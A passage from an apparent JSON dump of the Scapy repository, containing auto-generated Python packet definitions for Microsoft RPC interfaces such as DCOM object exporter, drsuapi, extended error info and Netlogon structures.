uuid=uuid.UUID(\"000001A0-0000-0000-C000-000000000046\"),\n    version=\"0.0\",\n    opnums=IREMOTESCMACTIVATOR_OPNUMS,\n)\n\n\nclass ResolveOxid_Request(NDRPacket):\n    fields_desc = [\n        NDRLongField(\"pOxid\", 0),\n        NDRShortField(\"cRequestedProtseqs\", None, size_of=\"arRequestedProtseqs\"),\n        NDRConfFieldListField(\n            \"arRequestedProtseqs\",\n            [],\n            NDRShortField(\"\", 0),\n            size_is=lambda pkt: pkt.cRequestedProtseqs,\n        ),\n    ]\n\n\nclass ResolveOxid_Response(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(\n            NDRPacketField(\"ppdsaOxidBindings\", DUALSTRINGARRAY(), DUALSTRINGARRAY)\n        ),\n        NDRPacketField(\"pipidRemUnknown\", GUID(), GUID),\n        NDRIntField(\"pAuthnHint\", 0),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass SimplePing_Request(NDRPacket):\n    fields_desc = [NDRLongField(\"pSetId\", 0)]\n\n\nclass SimplePing_Response(NDRPacket):\n    fields_desc = [NDRIntField(\"status\", 0)]\n\n\nclass ComplexPing_Request(NDRPacket):\n    fields_desc = [\n        NDRLongField(\"pSetId\", 0),\n        NDRShortField(\"SequenceNum\", 0),\n        NDRShortField(\"cAddToSet\", None, size_of=\"AddToSet\"),\n        NDRShortField(\"cDelFromSet\", None, size_of=\"DelFromSet\"),\n        NDRConfFieldListField(\n            \"AddToSet\", [], NDRLongField(\"\", 0), size_is=lambda pkt: pkt.cAddToSet\n        ),\n        NDRConfFieldListField(\n            \"DelFromSet\", [], NDRLongField(\"\", 0), size_is=lambda pkt: pkt.cDelFromSet\n        ),\n    ]\n\n\nclass ComplexPing_Response(NDRPacket):\n    fields_desc = [\n        NDRLongField(\"pSetId\", 0),\n        NDRShortField(\"pPingBackoffFactor\", 0),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass ServerAlive_Request(NDRPacket):\n    fields_desc = []\n\n\nclass ServerAlive_Response(NDRPacket):\n    fields_desc = [NDRIntField(\"status\", 0)]\n\n\nclass ResolveOxid2_Request(NDRPacket):\n    fields_desc = [\n        NDRLongField(\"pOxid\", 0),\n        NDRShortField(\"cRequestedProtseqs\", None, size_of=\"arRequestedProtseqs\"),\n        NDRConfFieldListField(\n            \"arRequestedProtseqs\",\n            [],\n            NDRShortField(\"\", 0),\n            size_is=lambda pkt: pkt.cRequestedProtseqs,\n        ),\n    ]\n\n\nclass ResolveOxid2_Response(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(\n            NDRPacketField(\"ppdsaOxidBindings\", DUALSTRINGARRAY(), DUALSTRINGARRAY)\n        ),\n        NDRPacketField(\"pipidRemUnknown\", GUID(), GUID),\n        NDRIntField(\"pAuthnHint\", 0),\n        NDRPacketField(\"pComVersion\", COMVERSION(), COMVERSION),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass ServerAlive2_Request(NDRPacket):\n    fields_desc = []\n\n\nclass ServerAlive2_Response(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\"pComVersion\", COMVERSION(), COMVERSION),\n        NDRFullPointerField(\n            NDRPacketField(\"ppdsaOrBindings\", DUALSTRINGARRAY(), DUALSTRINGARRAY)\n        ),\n        NDRIntField(\"pReserved\", 0),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nIOBJECTEXPORTER_OPNUMS = {\n    0: DceRpcOp(ResolveOxid_Request, ResolveOxid_Response),\n    1: DceRpcOp(SimplePing_Request, SimplePing_Response),\n    2: DceRpcOp(ComplexPing_Request, ComplexPing_Response),\n    3: DceRpcOp(ServerAlive_Request, ServerAlive_Response),\n    4: DceRpcOp(ResolveOxid2_Request, ResolveOxid2_Response),\n    5: DceRpcOp(ServerAlive2_Request, ServerAlive2_Response),\n}\nregister_dcerpc_interface(\n    name=\"IObjectExporter\",\n    uuid=uuid.UUID(\"99fcfec4-5260-101b-bbcb-00aa0021347a\"),\n    version=\"0.0\",\n    opnums=IOBJECTEXPORTER_OPNUMS,\n)\nIUNKNOWN_OPNUMS = {  # 0: Opnum0NotUsedOnWire,\n    # 1: Opnum1NotUsedOnWire,\n    # 2: Opnum2NotUsedOnWire\n}\nregister_com_interface(\n    name=\"IUnknown\",\n    uuid=uuid.UUID(\"00000000-0000-0000-C000-000000000046\"),\n    opnums=IUNKNOWN_OPNUMS,\n)\n\n\nclass STDOBJREF(NDRPacket):\n    ALIGNMENT = (8, 8)\n    fields_desc = [\n        NDRIntField(\"flags\", 0),\n        NDRIntField(\"cPublicRefs\", 0),\n        NDRLongField(\"oxid\", 0),\n        NDRLongField(\"oid\", 0),\n        NDRPacketField(\"ipid\", GUID(), GUID),\n    ]\n\n\nclass REMQIRESULT(NDRPacket):\n    ALIGNMENT = (8, 8)\n    fields_desc = [\n        NDRSignedIntField(\"hResult\", 0),\n        NDRPacketField(\"std\", STDOBJREF(), STDOBJREF),\n    ]\n\n\nclass RemQueryInterface_Request(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\"ripid\", GUID(), GUID),\n        NDRIntField(\"cRefs\", 0),\n        NDRShortField(\"cIids\", None, size_of=\"iids\"),\n        NDRConfPacketListField(\"iids\", [], GUID, size_is=lambda pkt: pkt.cIids),\n    ]\n\n\nclass RemQueryInterface_Response(NDRPacket):\n    fields_desc = [\n        NDRConfPacketListField(\n            \"ppQIResults\", [], REMQIRESULT, size_is=lambda pkt: pkt.cIids, ptr_lvl=1\n        ),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass REMINTERFACEREF(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [\n        NDRPacketField(\"ipid\", GUID(), GUID),\n        NDRIntField(\"cPublicRefs\", 0),\n        NDRIntField(\"cPrivateRefs\", 0),\n    ]\n\n\nclass RemAddRef_Request(NDRPacket):\n    fields_desc = [\n        NDRShortField(\"cInterfaceRefs\", None, size_of=\"InterfaceRefs\"),\n        NDRConfPacketListField(\n            \"InterfaceRefs\", [], REMINTERFACEREF, size_is=lambda pkt: pkt.cInterfaceRefs\n        ),\n    ]\n\n\nclass RemAddRef_Response(NDRPacket):\n    fields_desc = [\n        NDRConfFieldListField(\n            \"pResults\",\n            [],\n            NDRSignedIntField(\"\", 0),\n            size_is=lambda pkt: pkt.cInterfaceRefs,\n        ),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass RemRelease_Request(NDRPacket):\n    fields_desc = [\n        NDRShortField(\"cInterfaceRefs\", None, size_of=\"InterfaceRefs\"),\n        NDRConfPacketListField(\n            \"InterfaceRefs\", [], REMINTERFACEREF, size_is=lambda pkt: pkt.cInterfaceRefs\n        ),\n    ]\n\n\nclass RemRelease_Response(NDRPacket):\n    fields_desc = [NDRIntField(\"status\", 0)]\n\n\nIREMUNKNOWN_OPNUMS = {  # 0: Opnum0NotUsedOnWire,\n    # 1: Opnum1NotUsedOnWire,\n    # 2: Opnum2NotUsedOnWire,\n    3: DceRpcOp(RemQueryInterface_Request, RemQueryInterface_Response),\n    4: DceRpcOp(RemAddRef_Request, RemAddRef_Response),\n    5: DceRpcOp(RemRelease_Request, RemRelease_Response),\n}\nregister_com_interface(\n    name=\"IRemUnknown\",\n    uuid=uuid.UUID(\"00000131-0000-0000-C000-000000000046\"),\n    opnums=IREMUNKNOWN_OPNUMS,\n)\n\n\nclass RemQueryInterface2_Request(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\"ripid\", GUID(), GUID),\n        NDRShortField(\"cIids\", None, size_of=\"iids\"),\n        NDRConfPacketListField(\"iids\", [], GUID, size_is=lambda pkt: pkt.cIids),\n    ]\n\n\nclass RemQueryInterface2_Response(NDRPacket):\n    fields_desc = [\n        NDRConfFieldListField(\n            \"phr\", [], NDRSignedIntField(\"\", 0), size_is=lambda pkt: pkt.cIids\n        ),\n        NDRConfPacketListField(\n            \"ppMIF\", [], MInterfacePointer, size_is=lambda pkt: pkt.cIids, ptr_lvl=1\n        ),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nIREMUNKNOWN2_OPNUMS = {  # 0: Opnum0NotUsedOnWire,\n    # 1: Opnum1NotUsedOnWire,\n    # 2: Opnum2NotUsedOnWire,\n    3: DceRpcOp(RemQueryInterface_Request, RemQueryInterface_Response),\n    4: DceRpcOp(RemAddRef_Request, RemAddRef_Response),\n    5: DceRpcOp(RemRelease_Request, RemRelease_Response),\n    6: DceRpcOp(RemQueryInterface2_Request, RemQueryInterface2_Response),\n}\nregister_com_interface(\n    name=\"IRemUnknown2\",\n    uuid=uuid.UUID(\"00000143-0000-0000-C000-000000000046\"),\n    opnums=IREMUNKNOWN2_OPNUMS,\n)\n"
  },
  {
    "path": "scapy/layers/msrpce/raw/ms_drsr.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy RPC\n# See https://scapy.net/ for more information\n# Copyright (C) Gabriel Potter\n\n# ms-drsr.idl compiled on 06/07/2025\n# This file is a stripped version ! Use scapy-rpc for the full.\n\"\"\"\nRPC definitions for the following interfaces:\n- drsuapi (v4.0): e3514235-4b06-11d1-ab04-00c04fc2dcd2\nThis file is auto-generated by midl-to-scapy, do not modify.\n\"\"\"\n\nimport uuid\n\nfrom scapy.fields import StrFixedLenField\nfrom scapy.layers.dcerpc import (\n    NDRPacket,\n    DceRpcOp,\n    NDRConfFieldListField,\n    NDRConfPacketListField,\n    NDRConfStrLenField,\n    NDRConfVarStrNullField,\n    NDRConfVarStrNullFieldUtf16,\n    NDRContextHandle,\n    NDRFullEmbPointerField,\n    NDRFullPointerField,\n    NDRIntField,\n    NDRPacketField,\n    NDRShortField,\n    NDRUnionField,\n    register_dcerpc_interface,\n)\n\n\nclass UUID(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [\n        NDRIntField(\"Data1\", 0),\n        NDRShortField(\"Data2\", 0),\n        NDRShortField(\"Data3\", 0),\n        StrFixedLenField(\"Data4\", \"\", length=8),\n    ]\n\n\nclass DRS_EXTENSIONS(NDRPacket):\n    ALIGNMENT = (4, 8)\n    DEPORTED_CONFORMANTS = [\"rgb\"]\n    fields_desc = [\n        NDRIntField(\"cb\", None, size_of=\"rgb\"),\n        NDRConfStrLenField(\n            \"rgb\", \"\", size_is=lambda pkt: pkt.cb, conformant_in_struct=True\n        ),\n    ]\n\n\nclass IDL_DRSBind_Request(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(NDRPacketField(\"puuidClientDsa\", UUID(), UUID)),\n        NDRFullPointerField(\n            NDRPacketField(\"pextClient\", DRS_EXTENSIONS(), DRS_EXTENSIONS)\n        ),\n    ]\n\n\nclass IDL_DRSBind_Response(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(\n            NDRPacketField(\"ppextServer\", DRS_EXTENSIONS(), DRS_EXTENSIONS)\n        ),\n        NDRPacketField(\"phDrs\", NDRContextHandle(), NDRContextHandle),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass IDL_DRSUnbind_Request(NDRPacket):\n    fields_desc = [NDRPacketField(\"phDrs\", NDRContextHandle(), NDRContextHandle)]\n\n\nclass IDL_DRSUnbind_Response(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\"phDrs\", NDRContextHandle(), NDRContextHandle),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass DRS_MSG_CRACKREQ_V1(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRIntField(\"CodePage\", 0),\n        NDRIntField(\"LocaleId\", 0),\n        NDRIntField(\"dwFlags\", 0),\n        NDRIntField(\"formatOffered\", 0),\n        NDRIntField(\"formatDesired\", 0),\n        NDRIntField(\"cNames\", None, size_of=\"rpNames\"),\n        NDRFullEmbPointerField(\n            NDRConfFieldListField(\n                \"rpNames\",\n                [],\n                NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"rpNames\", \"\")),\n                size_is=lambda pkt: pkt.cNames,\n            )\n        ),\n    ]\n\n\nclass PDS_NAME_RESULT_ITEMW(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRIntField(\"status\", 0),\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"pDomain\", \"\")),\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"pName\", \"\")),\n    ]\n\n\nclass DS_NAME_RESULTW(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRIntField(\"cItems\", None, size_of=\"rItems\"),\n        NDRFullEmbPointerField(\n            NDRConfPacketListField(\n                \"rItems\",\n                [PDS_NAME_RESULT_ITEMW()],\n                PDS_NAME_RESULT_ITEMW,\n                size_is=lambda pkt: pkt.cItems,\n            )\n        ),\n    ]\n\n\nclass DRS_MSG_CRACKREPLY_V1(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRFullEmbPointerField(\n            NDRPacketField(\"pResult\", DS_NAME_RESULTW(), DS_NAME_RESULTW)\n        )\n    ]\n\n\nclass IDL_DRSCrackNames_Request(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\"hDrs\", NDRContextHandle(), NDRContextHandle),\n        NDRIntField(\"dwInVersion\", 0),\n        NDRUnionField(\n            [\n                (\n                    NDRPacketField(\n                        \"pmsgIn\", DRS_MSG_CRACKREQ_V1(), DRS_MSG_CRACKREQ_V1\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"dwInVersion\", None) == 1),\n                        (lambda _, val: val.tag == 1),\n                    ),\n                )\n            ],\n            StrFixedLenField(\"pmsgIn\", \"\", length=0),\n            align=(4, 8),\n            switch_fmt=(\"L\", \"L\"),\n        ),\n    ]\n\n\nclass IDL_DRSCrackNames_Response(NDRPacket):\n    fields_desc = [\n        NDRIntField(\"pdwOutVersion\", 0),\n        NDRUnionField(\n            [\n                (\n                    NDRPacketField(\n                        \"pmsgOut\", DRS_MSG_CRACKREPLY_V1(), DRS_MSG_CRACKREPLY_V1\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"pdwOutVersion\", None) == 1),\n                        (lambda _, val: val.tag == 1),\n                    ),\n                )\n            ],\n            StrFixedLenField(\"pmsgOut\", \"\", length=0),\n            align=(4, 8),\n            switch_fmt=(\"L\", \"L\"),\n        ),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nDRSUAPI_OPNUMS = {\n    0: DceRpcOp(IDL_DRSBind_Request, IDL_DRSBind_Response),\n    1: DceRpcOp(IDL_DRSUnbind_Request, IDL_DRSUnbind_Response),\n    12: DceRpcOp(IDL_DRSCrackNames_Request, IDL_DRSCrackNames_Response),\n}\nregister_dcerpc_interface(\n    name=\"drsuapi\",\n    uuid=uuid.UUID(\"e3514235-4b06-11d1-ab04-00c04fc2dcd2\"),\n    version=\"4.0\",\n    opnums=DRSUAPI_OPNUMS,\n)\n"
  },
  {
    "path": "scapy/layers/msrpce/raw/ms_eerr.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy RPC\n# See https://scapy.net/ for more information\n# Copyright (C) Gabriel Potter\n\n# [ms-eerr] v16.0 (Tue, 23 Apr 2024)\n\n\"\"\"\nRPC definitions for the following interfaces:\n-\nThis file is auto-generated by midl-to-scapy, do not modify.\n\"\"\"\n\nfrom enum import IntEnum\nimport uuid\n\nfrom scapy.fields import StrFixedLenField\nfrom scapy.layers.dcerpc import (\n    NDRPacket,\n    NDRConfPacketListField,\n    NDRConfStrLenField,\n    NDRConfStrLenFieldUtf16,\n    NDRFullEmbPointerField,\n    NDRInt3264EnumField,\n    NDRIntField,\n    NDRPacketField,\n    NDRRecursiveClass,\n    NDRShortField,\n    NDRSignedIntField,\n    NDRSignedLongField,\n    NDRSignedShortField,\n    NDRUnionField,\n)\n\n\nclass EEAString(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRSignedShortField(\"nLength\", None, size_of=\"pString\"),\n        NDRFullEmbPointerField(\n            NDRConfStrLenField(\"pString\", \"\", size_is=lambda pkt: pkt.nLength)\n        ),\n    ]\n\n\nclass EEUString(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRSignedShortField(\"nLength\", None, size_of=\"pString\"),\n        NDRFullEmbPointerField(\n            NDRConfStrLenFieldUtf16(\"pString\", \"\", size_is=lambda pkt: pkt.nLength)\n        ),\n    ]\n\n\nclass BinaryEEInfo(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRSignedShortField(\"nSize\", None, size_of=\"pBlob\"),\n        NDRFullEmbPointerField(\n            NDRConfStrLenField(\"pBlob\", \"\", size_is=lambda pkt: pkt.nSize)\n        ),\n    ]\n\n\nclass ExtendedErrorParamTypesInternal(IntEnum):\n    eeptiAnsiString = 1\n    eeptiUnicodeString = 2\n    eeptiLongVal = 3\n    eeptiShortValue = 4\n    eeptiPointerValue = 5\n    eeptiNone = 6\n    eeptiBinary = 7\n\n\nclass ExtendedErrorParam(NDRPacket):\n    ALIGNMENT = (8, 8)\n    fields_desc = [\n        NDRInt3264EnumField(\"Type\", 0, ExtendedErrorParamTypesInternal),\n        NDRUnionField(\n            [\n                (\n                    NDRPacketField(\"value\", EEAString(), EEAString),\n                    (\n                        (lambda pkt: getattr(pkt, \"Type\", None) == 1),\n                        (lambda _, val: val.tag == 1),\n                    ),\n                ),\n                (\n                    NDRPacketField(\"value\", EEUString(), EEUString),\n                    (\n                        (lambda pkt: getattr(pkt, \"Type\", None) == 2),\n                        (lambda _, val: val.tag == 2),\n                    ),\n                ),\n                (\n                    NDRSignedIntField(\"value\", 0),\n                    (\n                        (lambda pkt: getattr(pkt, \"Type\", None) == 3),\n                        (lambda _, val: val.tag == 3),\n                    ),\n                ),\n                (\n                    NDRSignedShortField(\"value\", 0),\n                    (\n                        (lambda pkt: getattr(pkt, \"Type\", None) == 4),\n                        (lambda _, val: val.tag == 4),\n                    ),\n                ),\n                (\n                    NDRSignedLongField(\"value\", 0),\n                    (\n                        (lambda pkt: getattr(pkt, \"Type\", None) == 5),\n                        (lambda _, val: val.tag == 5),\n                    ),\n                ),\n                (\n                    StrFixedLenField(\"value\", \"\", length=0),\n                    (\n                        (lambda pkt: getattr(pkt, \"Type\", None) == 6),\n                        (lambda _, val: val.tag == 6),\n                    ),\n                ),\n                (\n                    NDRPacketField(\"value\", BinaryEEInfo(), BinaryEEInfo),\n                    (\n                        (lambda pkt: getattr(pkt, \"Type\", None) == 7),\n                        (lambda _, val: val.tag == 7),\n                    ),\n                ),\n            ],\n            StrFixedLenField(\"value\", \"\", length=0),\n            align=(2, 8),\n            switch_fmt=(\"H\", \"I\"),\n        ),\n    ]\n\n\nclass EEComputerNamePresent(IntEnum):\n    eecnpPresent = 1\n    eecnpNotPresent = 2\n\n\nclass EEComputerName(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRInt3264EnumField(\"Type\", 0, EEComputerNamePresent),\n        NDRUnionField(\n            [\n                (\n                    NDRPacketField(\"value\", EEUString(), EEUString),\n                    (\n                        (lambda pkt: getattr(pkt, \"Type\", None) == 1),\n                        (lambda _, val: val.tag == 1),\n                    ),\n                ),\n                (\n                    StrFixedLenField(\"value\", \"\", length=0),\n                    (\n                        (lambda pkt: getattr(pkt, \"Type\", None) == 2),\n                        (lambda _, val: val.tag == 2),\n                    ),\n                ),\n            ],\n            StrFixedLenField(\"value\", \"\", length=0),\n            align=(2, 8),\n            switch_fmt=(\"H\", \"I\"),\n        ),\n    ]\n\n\nclass ExtendedErrorInfo(NDRPacket):\n    ALIGNMENT = (8, 8)\n    DEPORTED_CONFORMANTS = [\"Params\"]\n    fields_desc = [\n        NDRFullEmbPointerField(\n            NDRPacketField(\"Next\", None, NDRRecursiveClass(\"ExtendedErrorInfo\"))\n        ),\n        NDRPacketField(\"ComputerName\", EEComputerName(), EEComputerName),\n        NDRIntField(\"ProcessID\", 0),\n        NDRSignedLongField(\"TimeStamp\", 0),\n        NDRIntField(\"GeneratingComponent\", 0),\n        NDRIntField(\"Status\", 0),\n        NDRShortField(\"DetectionLocation\", 0),\n        NDRShortField(\"Flags\", 0),\n        NDRSignedShortField(\"nLen\", None, size_of=\"Params\"),\n        NDRConfPacketListField(\n            \"Params\",\n            [],\n            ExtendedErrorParam,\n            size_is=lambda pkt: pkt.nLen,\n            conformant_in_struct=True,\n        ),\n    ]\n"
  },
  {
    "path": "scapy/layers/msrpce/raw/ms_nrpc.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy RPC\n# See https://scapy.net/ for more information\n# Copyright (C) Gabriel Potter\n\n# [ms-nrpc] v49.0 (Mon, 09 Feb 2026)\n\n\"\"\"\nRPC definitions for the following interfaces:\n- logon (v1.0): 12345678-1234-ABCD-EF00-01234567CFFB\nThis file is auto-generated by midl-to-scapy, do not modify.\n\"\"\"\n\nfrom enum import IntEnum\nimport uuid\n\nfrom scapy.fields import PacketListField, StrFixedLenField, StrFixedLenFieldUtf16\nfrom scapy.layers.dcerpc import (\n    NDRPacket,\n    DceRpcOp,\n    NDRByteField,\n    NDRConfFieldListField,\n    NDRConfPacketListField,\n    NDRConfStrLenField,\n    NDRConfVarStrLenField,\n    NDRConfVarStrLenFieldUtf16,\n    NDRConfVarStrNullField,\n    NDRConfVarStrNullFieldUtf16,\n    NDRFieldListField,\n    NDRFullEmbPointerField,\n    NDRFullPointerField,\n    NDRInt3264EnumField,\n    NDRIntField,\n    NDRLongField,\n    NDRPacketField,\n    NDRShortField,\n    NDRSignedIntField,\n    NDRSignedLongField,\n    NDRUnionField,\n    register_dcerpc_interface,\n)\n\n\nclass PNETLOGON_VALIDATION_UAS_INFO(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"usrlog1_eff_name\", \"\")),\n        NDRIntField(\"usrlog1_priv\", 0),\n        NDRIntField(\"usrlog1_auth_flags\", 0),\n        NDRIntField(\"usrlog1_num_logons\", 0),\n        NDRIntField(\"usrlog1_bad_pw_count\", 0),\n        NDRIntField(\"usrlog1_last_logon\", 0),\n        NDRIntField(\"usrlog1_last_logoff\", 0),\n        NDRIntField(\"usrlog1_logoff_time\", 0),\n        NDRIntField(\"usrlog1_kickoff_time\", 0),\n        NDRIntField(\"usrlog1_password_age\", 0),\n        NDRIntField(\"usrlog1_pw_can_change\", 0),\n        NDRIntField(\"usrlog1_pw_must_change\", 0),\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"usrlog1_computer\", \"\")),\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"usrlog1_domain\", \"\")),\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"usrlog1_script_path\", \"\")),\n        NDRIntField(\"usrlog1_reserved1\", 0),\n    ]\n\n\nclass NetrLogonUasLogon_Request(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"ServerName\", \"\")),\n        NDRConfVarStrNullFieldUtf16(\"UserName\", \"\"),\n        NDRConfVarStrNullFieldUtf16(\"Workstation\", \"\"),\n    ]\n\n\nclass NetrLogonUasLogon_Response(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(\n            NDRPacketField(\n                \"ValidationInformation\",\n                PNETLOGON_VALIDATION_UAS_INFO(),\n                PNETLOGON_VALIDATION_UAS_INFO,\n            )\n        ),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass PNETLOGON_LOGOFF_UAS_INFO(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [NDRIntField(\"Duration\", 0), NDRShortField(\"LogonCount\", 0)]\n\n\nclass NetrLogonUasLogoff_Request(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"ServerName\", \"\")),\n        NDRConfVarStrNullFieldUtf16(\"UserName\", \"\"),\n        NDRConfVarStrNullFieldUtf16(\"Workstation\", \"\"),\n    ]\n\n\nclass NetrLogonUasLogoff_Response(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\n            \"LogoffInformation\", PNETLOGON_LOGOFF_UAS_INFO(), PNETLOGON_LOGOFF_UAS_INFO\n        ),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass NETLOGON_CREDENTIAL(NDRPacket):\n    fields_desc = [StrFixedLenField(\"data\", \"\", length=8)]\n\n\nclass PNETLOGON_AUTHENTICATOR(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [\n        NDRPacketField(\"Credential\", NETLOGON_CREDENTIAL(), NETLOGON_CREDENTIAL),\n        NDRIntField(\"Timestamp\", 0),\n    ]\n\n\nclass NETLOGON_LOGON_INFO_CLASS(IntEnum):\n    NetlogonInteractiveInformation = 1\n    NetlogonNetworkInformation = 2\n    NetlogonServiceInformation = 3\n    NetlogonGenericInformation = 4\n    NetlogonInteractiveTransitiveInformation = 5\n    NetlogonNetworkTransitiveInformation = 6\n    NetlogonServiceTransitiveInformation = 7\n    NetlogonTicketLogonInformation = 8\n\n\nclass UNICODE_STRING(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRShortField(\"Length\", None, size_of=\"Buffer\", adjust=lambda _, x: (x * 2)),\n        NDRShortField(\n            \"MaximumLength\", None, size_of=\"Buffer\", adjust=lambda _, x: (x * 2)\n        ),\n        NDRFullEmbPointerField(\n            NDRConfVarStrLenFieldUtf16(\n                \"Buffer\",\n                \"\",\n                size_is=lambda pkt: (pkt.MaximumLength // 2),\n                length_is=lambda pkt: (pkt.Length // 2),\n            )\n        ),\n    ]\n\n\nclass OLD_LARGE_INTEGER(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [NDRIntField(\"LowPart\", 0), NDRSignedIntField(\"HighPart\", 0)]\n\n\nclass NETLOGON_LOGON_IDENTITY_INFO(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRPacketField(\"LogonDomainName\", UNICODE_STRING(), UNICODE_STRING),\n        NDRIntField(\"ParameterControl\", 0),\n        NDRPacketField(\"Reserved\", OLD_LARGE_INTEGER(), OLD_LARGE_INTEGER),\n        NDRPacketField(\"UserName\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"Workstation\", UNICODE_STRING(), UNICODE_STRING),\n    ]\n\n\nclass CYPHER_BLOCK(NDRPacket):\n    fields_desc = [StrFixedLenField(\"data\", \"\", length=8)]\n\n\nclass LM_OWF_PASSWORD(NDRPacket):\n    fields_desc = [\n        PacketListField(\n            \"data\", [CYPHER_BLOCK()] * 2, CYPHER_BLOCK, count_from=lambda _: 2\n        )\n    ]\n\n\nclass NT_OWF_PASSWORD(NDRPacket):\n    fields_desc = [\n        PacketListField(\n            \"data\", [CYPHER_BLOCK()] * 2, CYPHER_BLOCK, count_from=lambda _: 2\n        )\n    ]\n\n\nclass PNETLOGON_INTERACTIVE_INFO(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRPacketField(\n            \"Identity\", NETLOGON_LOGON_IDENTITY_INFO(), NETLOGON_LOGON_IDENTITY_INFO\n        ),\n        NDRPacketField(\"LmOwfPassword\", LM_OWF_PASSWORD(), LM_OWF_PASSWORD),\n        NDRPacketField(\"NtOwfPassword\", NT_OWF_PASSWORD(), NT_OWF_PASSWORD),\n    ]\n\n\nclass PNETLOGON_SERVICE_INFO(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRPacketField(\n            \"Identity\", NETLOGON_LOGON_IDENTITY_INFO(), NETLOGON_LOGON_IDENTITY_INFO\n        ),\n        NDRPacketField(\"LmOwfPassword\", LM_OWF_PASSWORD(), LM_OWF_PASSWORD),\n        NDRPacketField(\"NtOwfPassword\", NT_OWF_PASSWORD(), NT_OWF_PASSWORD),\n    ]\n\n\nclass LM_CHALLENGE(NDRPacket):\n    fields_desc = [StrFixedLenField(\"data\", \"\", length=8)]\n\n\nclass STRING(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRShortField(\"Length\", None, size_of=\"Buffer\"),\n        NDRShortField(\"MaximumLength\", None, size_of=\"Buffer\"),\n        NDRFullEmbPointerField(\n            NDRConfVarStrLenField(\n                \"Buffer\",\n                \"\",\n                size_is=lambda pkt: pkt.MaximumLength,\n                length_is=lambda pkt: pkt.Length,\n            )\n        ),\n    ]\n\n\nclass PNETLOGON_NETWORK_INFO(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRPacketField(\n            \"Identity\", NETLOGON_LOGON_IDENTITY_INFO(), NETLOGON_LOGON_IDENTITY_INFO\n        ),\n        NDRPacketField(\"LmChallenge\", LM_CHALLENGE(), LM_CHALLENGE),\n        NDRPacketField(\"NtChallengeResponse\", STRING(), STRING),\n        NDRPacketField(\"LmChallengeResponse\", STRING(), STRING),\n    ]\n\n\nclass PNETLOGON_GENERIC_INFO(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRPacketField(\n            \"Identity\", NETLOGON_LOGON_IDENTITY_INFO(), NETLOGON_LOGON_IDENTITY_INFO\n        ),\n        NDRPacketField(\"PackageName\", UNICODE_STRING(), UNICODE_STRING),\n        NDRIntField(\"DataLength\", None, size_of=\"LogonData\"),\n        NDRFullEmbPointerField(\n            NDRConfStrLenField(\"LogonData\", \"\", size_is=lambda pkt: pkt.DataLength)\n        ),\n    ]\n\n\nclass PNETLOGON_TICKET_LOGON_INFO(NDRPacket):\n    ALIGNMENT = (8, 8)\n    fields_desc = [\n        NDRPacketField(\n            \"Identity\", NETLOGON_LOGON_IDENTITY_INFO(), NETLOGON_LOGON_IDENTITY_INFO\n        ),\n        